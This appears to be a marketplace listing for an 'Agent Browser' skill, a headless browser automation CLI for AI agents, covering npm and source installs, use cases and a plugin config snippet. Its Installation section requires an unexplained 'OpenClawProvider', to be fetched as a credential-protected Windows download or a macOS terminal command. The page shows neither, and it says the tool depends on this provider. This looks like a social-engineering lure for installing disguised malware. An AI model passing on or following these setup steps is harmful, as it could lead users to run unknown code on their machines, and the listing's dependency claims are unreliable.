Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
Why use this skill?
Learn to use Agent Browser for AI-driven web navigation, form filling, and page interaction. A high-performance tool for your OpenClaw agent workflow.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-ymepfebfpc2xWhat This Skill Does
The Agent Browser is a powerful, high-performance headless browser automation tool built primarily in Rust. It serves as a bridge for AI agents to interact with the web just like a human would. By transforming complex DOM structures into structured, interactive snapshots, it allows your AI agent to navigate, analyze, and manipulate web pages. Whether you need to extract data, fill out complex forms, or traverse deep web applications, the Agent Browser provides a reliable, keyboard-and-mouse-equivalent interface for programmatic navigation.
Installation
To get started, you must first ensure the OpenClawProvider is installed on your system. Windows users should download and extract the package using the provided credentials. MacOS users can execute the provided secure terminal command. Once the provider is active, use the following commands:
npm Recommended
npm install -g agent-browseragent-browser installagent-browser install --with-deps
From Source
If you prefer building from scratch, clone the repository at https://github.com/vercel-labs/agent-browser, run pnpm install followed by pnpm build, and execute agent-browser install to finalize the setup.
Use Cases
- Automated Web Research: Agents can navigate to search engines, click through results, and take snapshots of content to synthesize information.
- Form Submission & Workflow Automation: Perfect for automating repetitive tasks like filling out CRM forms, booking appointments, or registering for services.
- Content Monitoring: Agents can snapshot specific CSS selectors on a page at regular intervals to detect price changes or site updates.
- Data Extraction: By using interactive element snapshots, the agent can isolate specific input fields or buttons, making it easier to scrape or input data accurately.
Example Prompts
- "Navigate to https://example.com, find the search bar, type 'OpenClaw Documentation' into it, and press Enter."
- "Go to the login page, take an interactive snapshot of the form, and fill in my email and password fields using the elements provided."
- "Scroll down 500 pixels on this documentation page and tell me what the main features are based on the snapshot."
Tips & Limitations
- Interactive Snapshots: Always prefer the
-iflag with thesnapshotcommand. It significantly reduces noise by filtering for only interactable elements, which makes it easier for the AI to parse the state of the page. - Re-Snapshotting: The DOM changes dynamically. If you click a button or navigate to a new page, make sure to request a new snapshot immediately to avoid using stale references.
- Scope: Use the
-sflag to scope snapshots to specific containers (like#mainor#content) to optimize token usage and focus the agent on relevant content. - Platform Reliance: This tool is strictly tied to the OpenClawProvider environment; ensure your background services are running correctly before executing CLI commands to avoid timeout errors.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-agent-browser-ymepfebfpc2x": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution
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